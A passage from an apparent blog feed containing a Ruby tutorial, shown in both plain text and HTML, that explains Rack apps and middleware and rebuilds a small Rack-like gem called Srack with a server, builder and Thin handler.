Now remove all TODOs from srack.gemspec So that we can run the test cases . Now if we run test cases it will show one failure message

Failed examples:

rspec ./spec/srack_spec.rb:8 # Srack does something useful



And it is true, we haven’t done anything useful yet
First thing we have to do is to build an executable equiallant to rackup, Let’s call it srackup

touch exe/srackup



#!/usr/bin/env ruby

require "srack"
Srack::Server.start


I copied above file from rack repo to make sure that we are following the same way . Since we haven’t implemenetd Srack::Server this won’t work yet . So let’s make that first
Since we have to make instance of Rack::Server we can make it as a class and define start as the class method

module Srack
  class Server
    def self.start
    end
  end
end


Now we have Srack::Server.start method. But it is doing nothing. Since we want Server object, we can delegate our start method to it’s instance method.

module Srack
  class Server
    def self.start
      new.start
    end

    def start
    end
  end
end


Now let’s set some default options for our app

module Srack
  class Server
    def initialize
     @options = default_options
    end

    def self.start
      new.start
    end

    def start
    end

    private
    
    def default_options
      {
        environment: "localhost",
        Port: "9393",
        Host: "localhost"
      }
    end
  end
end


Now we have to build the app from config.ru or the file specified as argument, we can store it in @options hash with the key config

module Srack
  class Server
    def initialize
      @options = default_options 
      @options[:config] = ARGV[0] if ARGV[0]
      @app = build_app
    end

    def self.start
      new.start
    end

    def start
    end

    private
    
    def default_options
      {
        environment: "localhost",
        Port: "9393",
        Host: "localhost",
        config: 'config.ru'
      }
    end

    def build_app
      Builder.parse_file(@options[:config])
    end
  end
end


Here we are we are using the Srack::Builder to parse the config file and load app from it . Let’s implement that logic in Builder factory

module Srack
  class Builder
    def self.parse_file(config)
      config_file = ::File.read(config)
      new_from_string(config_file)
    end

    def self.new_from_string(builder_script)
      eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app"
    end
  end
end



The first method is self-explanatory, it just read the file and passes the file body to new_from_string . The method new_from_string takes the file contents, convert it into a proc and pass to Rack::Builder.new . So that we can execute the contents of config.ru in the context of the builder
Remember our first rack app ?

# config.ru
run Proc.new { |env| ['200', {'Content-Type' => 'text/html'}, ['Hello World\'d']] }


In order to execute this
Builder class should accept block for initialize method
And execute it within the context of Builder object
Builder class also should have methods run and to_app as setter and getter
Let’s see it in code
    

module Srack
  class Builder
 def initialize(&block)
   instance_eval(&block) if block_given?
 end

 def run(app)
   @app = app
 end

 def to_app
   @app
 end

 def self.parse_file(config)
   config_file = ::File.read(config)
   new_from_string(config_file)
 end

 def self.new_from_string(builder_script)
   eval "Srack::Builder.new {\n" + builder_script + "\n}.to_app"
 end
  end
end

    
Now we have Builder class, But start method in Srack::Server class is still empty, In order to do that we have to connect to some real server. Remember when we mentioned rack is an interface to web servers?

module Srack
  class Server
    ...
    def start
      server.run @app, @options
    end

    private

    def server
      @server ||= Srack::Handler.default
    end
    ...
  end
end


Srack will have handlers for each type of servers, So that we can global api for handlers, ie all handlers should respond to run method with 2 arguments @app and @options

# lib/srack/handler.rb`
module Srack
  module Handler
    autoload :Thin, 'srack/handler/thin'
    def self.default
      Handler::Thin
    end
  end
end



# lib/srack/handler/thin.rb
require 'thin'
module Srack
  module Handler
    class Thin
      def self.run(app, options = {})
        host = options[:Host]
        port = options[:Port]
        args = [host, port, app, options]
        server = ::Thin::Server.new(*args)
        server.start
      end
    end
  end
end


Here made handler module which can accomodate multple handlers, In this example we used thin as the default server . To use thin inside our app, we have to include it in our srack.gemspec

spec.add_dependency "thin"


Now you can build the gem to test

gem build srack.gemspec
gem install srack-0.1.0.gem


Now our srack is capable for running our first rack app
Just goto the directory with the file config.ru and run srackup
Implementing middleware
As discussed earlier one of the widely used feature in the rack is middleware. Let’s see how it works
A middleware will take the output(triplet) of rack app and modify it and give to next middleware or the app
We can make some tweaks in Srackup::Builder to accommodate this

...
class Builder
  ...
  def initialize(&block)
      @use = []
      instance_eval(&block) if block_given?
    end

    def run(app)
      @run = app
    end

    def use(middleware, *args, &block)
      @use << proc {|app| middleware.new(app, *args, &block)}
    end

    def to_app
      app = @run
      app = @use.reverse.inject(app) { |a,e| e[a] }
      app
    end
    ...
end
...


Here we defined an extra method use which will accept middleware as input. Also we have a new instance variable array @use which will store procs which accept app as input and returns new middleware object in return
Also, we changed to_app in such way that middlewares will be executed in the reverse order of calling
Now our app can also handle middlewares
If something is missing, or getting some errors, you can cross check with my repo here
References
https://github.com/rack
http://www.kavinder.com/blog/2014-10-10-rebuild-a-gem-rack/
http://www.kavinder.com/blog/2014-10-10-rebuild-a-gem-rack/]]></description>
            <content:encoded><![CDATA[<p>Rack is a framework for ruby web frameworks. If you developed apps in ruby frameworks like rails, hanami, Sinatra, you already used  Rack. Almost all ruby web frameworks use rack under the hood, If you are already familiar with rack then you can skip next step and go to re building  part</p>

<h2 id="introduction-to-rack">Introduction To Rack</h2>

<p>Rack provides minimalistic API to interact, First let’s have a look at rack</p>

<p>A rack app is an object which takes request environment hash and provides array of 3 elements the output, rack object should respond to the method <code class="language-plaintext highlighter-rouge">call</code></p>

<ul>
  <li>The HTTP response code</li>
  <li>Headers hash</li>
  <li>response body object which responds to each</li>
</ul>

<p>The obvious question here is why does rack says about responding to the particular method. This one of the powerful paradigm available in ruby called <a href="https://en.wikipedia.org/wiki/Duck_typing">duck typing</a>. ie rack doesn’t care about the object or it’s implementation as long as it responds to the particular method</p>

<p>Let’s take a look at a simple example.</p>

<p>Install rack</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  gem <span class="nb">install </span>rack
</code></pre></div></div>

<p>create a file with name <code class="language-plaintext highlighter-rouge">config.ru</code></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config.ru</span>
<span class="n">run</span> <span class="no">Proc</span><span class="p">.</span><span class="nf">new</span> <span class="p">{</span> <span class="o">|</span><span class="n">env</span><span class="o">|</span> <span class="p">[</span><span class="s1">'200'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'text/html'</span><span class="p">},</span> <span class="p">[</span><span class="s1">'Hello World\'d'</span><span class="p">]]</span> <span class="p">}</span>
</code></pre></div></div>

<p>and run the command <code class="language-plaintext highlighter-rouge">rackup</code></p>

<p>Now open the browser and vist <code class="language-plaintext highlighter-rouge">localhost:9292</code></p>

<p>Congratulations !, You just made a rack app with just a single line</p>

<p>Now let’s have look at the above example</p>

<p>We have a proc object which responds to <a href="https://ruby-doc.org/core-2.2.0/Proc.html#method-i-call">call</a> method. <code class="language-plaintext highlighter-rouge">200</code>as status  code  , an array consist of
<code class="language-plaintext highlighter-rouge">{'Content-Type' =&gt; 'text/html'}</code> as Response header
and
<code class="language-plaintext highlighter-rouge">['Hello World \'d']</code> as body</p>

<p>Since rack do not care about the kind of rack object, we can do the same using class or an object</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">class</span> <span class="nc">SuperCoolApp</span>
  <span class="k">def</span> <span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span>
    <span class="p">[</span><span class="s1">'200'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'text/html'</span><span class="p">},</span> <span class="p">[</span><span class="s1">'Hello World\'d'</span><span class="p">]]</span>
  <span class="k">end</span>
<span class="k">end</span>
<span class="n">run</span> <span class="no">SuperCoolApp</span>

</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">CoolApp</span>
  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span>
    <span class="p">[</span><span class="s1">'200'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'text/html'</span><span class="p">},</span> <span class="p">[</span><span class="s1">'Hello World\'d'</span><span class="p">]]</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="n">run</span> <span class="no">SuperCoolApp</span><span class="p">.</span><span class="nf">new</span>
</code></pre></div></div>
<p>But this doesn’t do anything interesting, this will just display <code class="language-plaintext highlighter-rouge">Hello World</code> for all requests . Because we were returning same output without even considering the parameter <code class="language-plaintext highlighter-rouge">env</code> . Let’s have a look into by returning env hash as output</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">CoolApp</span>
  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span>
    <span class="p">[</span><span class="s1">'200'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'text/html'</span><span class="p">},</span> <span class="p">[</span><span class="n">env</span><span class="p">.</span><span class="nf">inspect</span><span class="p">]]</span>
  <span class="k">end</span>
<span class="k">end</span>

</code></pre></div></div>

<p>Now run <code class="language-plaintext highlighter-rouge">rackup</code> and goto <code class="language-plaintext highlighter-rouge">localhost:9292/hello/world</code>
Output will be something like this</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="s2">"rack.version"</span><span class="o">=&gt;</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">],</span> <span class="s2">"rack.errors"</span><span class="o">=&gt;</span><span class="c1">#&gt;&gt;, "rack.multithread"=&gt;true, "rack.multiprocess"=&gt;false, "rack.run_once"=&gt;false, "SCRIPT_NAME"=&gt;"", "QUERY_STRING"=&gt;"", "SERVER_PROTOCOL"=&gt;"HTTP/1.1", "SERVER_SOFTWARE"=&gt;"puma 3.6.0 Sleepy Sunday Serenity", "GATEWAY_INTERFACE"=&gt;"CGI/1.2", "REQUEST_METHOD"=&gt;"GET", "REQUEST_PATH"=&gt;"/hello/world", "REQUEST_URI"=&gt;"/hello/world", "HTTP_VERSION"=&gt;"HTTP/1.1", "HTTP_HOST"=&gt;"localhost:9292", "HTTP_CONNECTION"=&gt;"keep-alive", "HTTP_UPGRADE_INSECURE_REQUESTS"=&gt;"1", "HTTP_USER_AGENT"=&gt;"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", "HTTP_ACCEPT"=&gt;"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "HTTP_DNT"=&gt;"1", "HTTP_ACCEPT_ENCODING"=&gt;"gzip, deflate, sdch, br", "HTTP_ACCEPT_LANGUAGE"=&gt;"en-US,en;q=0.8,ml;q=0.6", "SERVER_NAME"=&gt;"localhost", "SERVER_PORT"=&gt;"9292", "PATH_INFO"=&gt;"/hello/world", "REMOTE_ADDR"=&gt;"127.0.0.1", "puma.socket"=&gt;#, "rack.hijack?"=&gt;true, "rack.hijack"=&gt;#, "rack.input"=&gt;#&gt;, "rack.url_scheme"=&gt;"http", "rack.after_reply"=&gt;[], "puma.config"=&gt;#"development", :pid=&gt;nil, :Port=&gt;9292, :Host=&gt;"localhost", :AccessLog=&gt;[], :config=&gt;"/home/tachyons/code/rack/config.ru"}, {:log_requests=&gt;false, :environment=&gt;"development", :binds=&gt;["tcp://localhost:9292"], :app=&gt;#, @content_length=nil&gt;&gt;, @logger=#&gt;&gt;&gt;&gt;}, {:environment=&gt;"development"}, {}], @defaults={:min_threads=&gt;0, :max_threads=&gt;16, :log_requests=&gt;false, :debug=&gt;false, :binds=&gt;["tcp://0.0.0.0:9292"], :workers=&gt;0, :daemon=&gt;false, :mode=&gt;:http, :worker_timeout=&gt;60, :worker_boot_timeout=&gt;60, :worker_shutdown_timeout=&gt;30, :remote_address=&gt;:socket, :tag=&gt;"rack", :environment=&gt;"development", :rackup=&gt;"config.ru", :logger=&gt;#&gt;, :persistent_timeout=&gt;20}&gt;, @plugins=#&gt;, "rack.tempfiles"=&gt;[]}</span>

</code></pre></div></div>
<p>Now change url and see the changes output</p>

<p>To make it clear Let’s build a simple app to hello</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">CoolApp</span>
  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span>
    <span class="p">[</span><span class="s1">'200'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'text/html'</span><span class="p">},</span> <span class="p">[</span> <span class="s2">"Hi "</span> <span class="o">+</span> <span class="n">env</span><span class="p">[</span><span class="s1">'REQUEST_PATH'</span><span class="p">].</span><span class="nf">split</span><span class="p">(</span><span class="s1">'/'</span><span class="p">).</span><span class="nf">join</span><span class="p">(</span><span class="s2">" "</span><span class="p">)]]</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="n">run</span> <span class="no">CoolApp</span>
</code></pre></div></div>

<p>Run rackup again, and go to <code class="language-plaintext highlighter-rouge">localhost:9292/aboobacker/mk</code></p>

<p>App will respond “Hi aboobacker mk”</p>

<p>You can implement your own logic using the env variable provided by rack</p>

<p>Rack also provides <a href="http://www.rubydoc.info/gems/rack/Rack/Request">Rack Request</a> Abstraction which provides a convenient interface to a Rack environment.</p>

<p>But that is not the end, rack also provides feature called middleware, which let you use multiple rack apps as pipeline . ie output of one rack app will feed as input to next rack app . Let’s check that by one example</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">ReverseOutput</span>
  <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>
    <span class="vi">@app</span> <span class="o">=</span> <span class="n">app</span> 
  <span class="k">end</span>

  <span class="k">def</span> <span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span> 
    <span class="n">status</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">body</span> <span class="o">=</span> <span class="vi">@app</span><span class="p">.</span><span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span> 
    <span class="n">body</span> <span class="o">=</span> <span class="n">body</span><span class="p">.</span><span class="nf">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">msg</span><span class="o">|</span> <span class="n">msg</span><span class="p">.</span><span class="nf">reverse</span> <span class="p">}</span> 
    <span class="p">[</span><span class="n">status</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">body</span><span class="p">]</span> 
  <span class="k">end</span> 
<span class="k">end</span> 

<span class="k">class</span> <span class="nc">CoolApp</span>
  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span>
    <span class="p">[</span><span class="s1">'200'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'text/html'</span><span class="p">},</span> <span class="p">[</span> <span class="s2">"Hi "</span> <span class="o">+</span> <span class="n">env</span><span class="p">[</span><span class="s1">'REQUEST_PATH'</span><span class="p">].</span><span class="nf">split</span><span class="p">(</span><span class="s1">'/'</span><span class="p">).</span><span class="nf">join</span><span class="p">(</span><span class="s2">" "</span><span class="p">)]]</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="n">use</span> <span class="no">ReverseOutput</span>
<span class="n">run</span> <span class="no">CoolApp</span>
</code></pre></div></div>

<p>Here we made a simple middleware <code class="language-plaintext highlighter-rouge">ReverseOutput</code> which will reverse the response body, You can add any number of middlewares like this, also you can use pre defined middlewares provided by the rack and open source general purpose middlewares. <a href="https://github.com/rack/rack/wiki/List-of-Middleware">List of middlewares</a></p>

<h2 id="building-from-scratch">Building from scratch</h2>
<p>Now let’s have a look at how the rack works by making a rack like library from scratch, Let’s name it Srack. But one obvious question here is why rackup file is <code class="language-plaintext highlighter-rouge">config.ru</code>, not <code class="language-plaintext highlighter-rouge">config.rb</code> ? . Also from where the methods like use, run etc are coming</p>

<p>Let’s look at our first code sample in a different way</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># app.rb</span>
  <span class="no">Rack</span><span class="o">::</span><span class="no">Builder</span><span class="p">.</span><span class="nf">app</span> <span class="k">do</span>
    <span class="n">run</span> <span class="no">Proc</span><span class="p">.</span><span class="nf">new</span> <span class="p">{</span> <span class="o">|</span><span class="n">env</span><span class="o">|</span> <span class="p">[</span><span class="s1">'200'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'text/html'</span><span class="p">},</span> <span class="p">[</span><span class="s1">'Hello World\'d'</span><span class="p">]]</span> <span class="p">}</span>
  <span class="k">end</span>
</code></pre></div></div>
<p>Here we can see that <code class="language-plaintext highlighter-rouge">config.ru</code> is a block that is to be passed to Rack::Builder.app method</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bundle gem srack
</code></pre></div></div>
<p>Now remove all TODOs from <code class="language-plaintext highlighter-rouge">srack.gemspec</code> So that we can run the test cases . Now if we run test cases it will show one failure message</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Failed examples:

rspec ./spec/srack_spec.rb:8 # Srack does something useful

</code></pre></div></div>

<p>And it is true, we haven’t done anything useful yet</p>

<p>First thing we have to do is to build an executable equiallant to rackup, Let’s call it srackup</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>touch exe/srackup
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env ruby</span>

<span class="nb">require</span> <span class="s2">"srack"</span>
<span class="no">Srack</span><span class="o">::</span><span class="no">Server</span><span class="p">.</span><span class="nf">start</span>
</code></pre></div></div>

<p>I copied above file from <a href="https://github.com/rack/rack/blob/master/bin/rackup">rack repo</a> to make sure that we are following the same way . Since we haven’t implemenetd Srack::Server this won’t work yet . So let’s make that first</p>

<p>Since we have to make instance of <code class="language-plaintext highlighter-rouge">Rack::Server</code> we can make it as a <code class="language-plaintext highlighter-rouge">class</code> and define <code class="language-plaintext highlighter-rouge">start</code> as the class method</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">class</span> <span class="nc">Server</span>
    <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">start</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Now we have Srack::Server.start method. But it is doing nothing. Since we want Server object, we can delegate our start method to it’s instance method.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">class</span> <span class="nc">Server</span>
    <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">start</span>
      <span class="n">new</span><span class="p">.</span><span class="nf">start</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nf">start</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Now let’s set some default options for our app</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">class</span> <span class="nc">Server</span>
    <span class="k">def</span> <span class="nf">initialize</span>
     <span class="vi">@options</span> <span class="o">=</span> <span class="n">default_options</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">start</span>
      <span class="n">new</span><span class="p">.</span><span class="nf">start</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nf">start</span>
    <span class="k">end</span>

    <span class="kp">private</span>
    
    <span class="k">def</span> <span class="nf">default_options</span>
      <span class="p">{</span>
        <span class="ss">environment: </span><span class="s2">"localhost"</span><span class="p">,</span>
        <span class="no">Port</span><span class="p">:</span> <span class="s2">"9393"</span><span class="p">,</span>
        <span class="no">Host</span><span class="p">:</span> <span class="s2">"localhost"</span>
      <span class="p">}</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>Now we have to build the app from config.ru or the file specified as argument, we can store it in <code class="language-plaintext highlighter-rouge">@options</code> hash with the key <code class="language-plaintext highlighter-rouge">config</code></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">class</span> <span class="nc">Server</span>
    <span class="k">def</span> <span class="nf">initialize</span>
      <span class="vi">@options</span> <span class="o">=</span> <span class="n">default_options</span> 
      <span class="vi">@options</span><span class="p">[</span><span class="ss">:config</span><span class="p">]</span> <span class="o">=</span> <span class="no">ARGV</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">if</span> <span class="no">ARGV</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
      <span class="vi">@app</span> <span class="o">=</span> <span class="n">build_app</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">start</span>
      <span class="n">new</span><span class="p">.</span><span class="nf">start</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nf">start</span>
    <span class="k">end</span>

    <span class="kp">private</span>
    
    <span class="k">def</span> <span class="nf">default_options</span>
      <span class="p">{</span>
        <span class="ss">environment: </span><span class="s2">"localhost"</span><span class="p">,</span>
        <span class="no">Port</span><span class="p">:</span> <span class="s2">"9393"</span><span class="p">,</span>
        <span class="no">Host</span><span class="p">:</span> <span class="s2">"localhost"</span><span class="p">,</span>
        <span class="ss">config: </span><span class="s1">'config.ru'</span>
      <span class="p">}</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nf">build_app</span>
      <span class="no">Builder</span><span class="p">.</span><span class="nf">parse_file</span><span class="p">(</span><span class="vi">@options</span><span class="p">[</span><span class="ss">:config</span><span class="p">])</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>Here we are we are using the <code class="language-plaintext highlighter-rouge">Srack::Builder</code> to parse the config file and load app from it . Let’s implement that logic in <code class="language-plaintext highlighter-rouge">Builder</code> factory</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">class</span> <span class="nc">Builder</span>
    <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">parse_file</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
      <span class="n">config_file</span> <span class="o">=</span> <span class="o">::</span><span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
      <span class="n">new_from_string</span><span class="p">(</span><span class="n">config_file</span><span class="p">)</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">new_from_string</span><span class="p">(</span><span class="n">builder_script</span><span class="p">)</span>
      <span class="nb">eval</span> <span class="s2">"Rack::Builder.new {</span><span class="se">\n</span><span class="s2">"</span> <span class="o">+</span> <span class="n">builder_script</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">}.to_app"</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>

</code></pre></div></div>
<p>The first method is self-explanatory, it just read the file and passes the file body to <code class="language-plaintext highlighter-rouge">new_from_string</code> . The method <code class="language-plaintext highlighter-rouge">new_from_string</code> takes the file contents, convert it into a proc and pass to <code class="language-plaintext highlighter-rouge">Rack::Builder.new</code> . So that we can execute the contents of config.ru in the context of the builder</p>

<p>Remember our first rack app ?</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config.ru</span>
<span class="n">run</span> <span class="no">Proc</span><span class="p">.</span><span class="nf">new</span> <span class="p">{</span> <span class="o">|</span><span class="n">env</span><span class="o">|</span> <span class="p">[</span><span class="s1">'200'</span><span class="p">,</span> <span class="p">{</span><span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'text/html'</span><span class="p">},</span> <span class="p">[</span><span class="s1">'Hello World\'d'</span><span class="p">]]</span> <span class="p">}</span>
</code></pre></div></div>
<p>In order to execute this</p>

<ol>
  <li>Builder class should accept block for initialize method</li>
  <li>And execute it within the context of <code class="language-plaintext highlighter-rouge">Builder object</code></li>
  <li>Builder class also should have methods run and to_app as setter and getter
Let’s see it in code
    <div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">class</span> <span class="nc">Builder</span>
 <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="o">&amp;</span><span class="n">block</span><span class="p">)</span>
   <span class="nb">instance_eval</span><span class="p">(</span><span class="o">&amp;</span><span class="n">block</span><span class="p">)</span> <span class="k">if</span> <span class="nb">block_given?</span>
 <span class="k">end</span>

 <span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>
   <span class="vi">@app</span> <span class="o">=</span> <span class="n">app</span>
 <span class="k">end</span>

 <span class="k">def</span> <span class="nf">to_app</span>
   <span class="vi">@app</span>
 <span class="k">end</span>

 <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">parse_file</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
   <span class="n">config_file</span> <span class="o">=</span> <span class="o">::</span><span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
   <span class="n">new_from_string</span><span class="p">(</span><span class="n">config_file</span><span class="p">)</span>
 <span class="k">end</span>

 <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">new_from_string</span><span class="p">(</span><span class="n">builder_script</span><span class="p">)</span>
   <span class="nb">eval</span> <span class="s2">"Srack::Builder.new {</span><span class="se">\n</span><span class="s2">"</span> <span class="o">+</span> <span class="n">builder_script</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">}.to_app"</span>
 <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div>    </div>
  </li>
</ol>

<p>Now we have Builder class, But start method in <code class="language-plaintext highlighter-rouge">Srack::Server</code> class is still empty, In order to do that we have to connect to some real server. Remember when we mentioned rack is an interface to web servers?</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">class</span> <span class="nc">Server</span>
    <span class="o">...</span>
    <span class="k">def</span> <span class="nf">start</span>
      <span class="n">server</span><span class="p">.</span><span class="nf">run</span> <span class="vi">@app</span><span class="p">,</span> <span class="vi">@options</span>
    <span class="k">end</span>

    <span class="kp">private</span>

    <span class="k">def</span> <span class="nf">server</span>
      <span class="vi">@server</span> <span class="o">||=</span> <span class="no">Srack</span><span class="o">::</span><span class="no">Handler</span><span class="p">.</span><span class="nf">default</span>
    <span class="k">end</span>
    <span class="o">...</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Srack will have handlers for each type of servers, So that we can global api for handlers, ie all handlers should respond to <code class="language-plaintext highlighter-rouge">run</code> method with 2 arguments <code class="language-plaintext highlighter-rouge">@app</code> and <code class="language-plaintext highlighter-rouge">@options</code></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># lib/srack/handler.rb`</span>
<span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">module</span> <span class="nn">Handler</span>
    <span class="nb">autoload</span> <span class="ss">:Thin</span><span class="p">,</span> <span class="s1">'srack/handler/thin'</span>
    <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">default</span>
      <span class="no">Handler</span><span class="o">::</span><span class="no">Thin</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># lib/srack/handler/thin.rb</span>
<span class="nb">require</span> <span class="s1">'thin'</span>
<span class="k">module</span> <span class="nn">Srack</span>
  <span class="k">module</span> <span class="nn">Handler</span>
    <span class="k">class</span> <span class="nc">Thin</span>
      <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">run</span><span class="p">(</span><span class="n">app</span><span class="p">,</span> <span class="n">options</span> <span class="o">=</span> <span class="p">{})</span>
        <span class="n">host</span> <span class="o">=</span> <span class="n">options</span><span class="p">[</span><span class="ss">:Host</span><span class="p">]</span>
        <span class="n">port</span> <span class="o">=</span> <span class="n">options</span><span class="p">[</span><span class="ss">:Port</span><span class="p">]</span>
        <span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">app</span><span class="p">,</span> <span class="n">options</span><span class="p">]</span>
        <span class="n">server</span> <span class="o">=</span> <span class="o">::</span><span class="no">Thin</span><span class="o">::</span><span class="no">Server</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">)</span>
        <span class="n">server</span><span class="p">.</span><span class="nf">start</span>
      <span class="k">end</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Here made handler module which can accomodate multple handlers, In this example we used thin as the default server . To use thin inside our app, we have to include it in our <code class="language-plaintext highlighter-rouge">srack.gemspec</code></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">spec</span><span class="p">.</span><span class="nf">add_dependency</span> <span class="s2">"thin"</span>
</code></pre></div></div>
<p>Now you can build the gem to test</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gem build srack.gemspec
gem install srack-0.1.0.gem
</code></pre></div></div>

<p>Now our srack is capable for running our first rack app
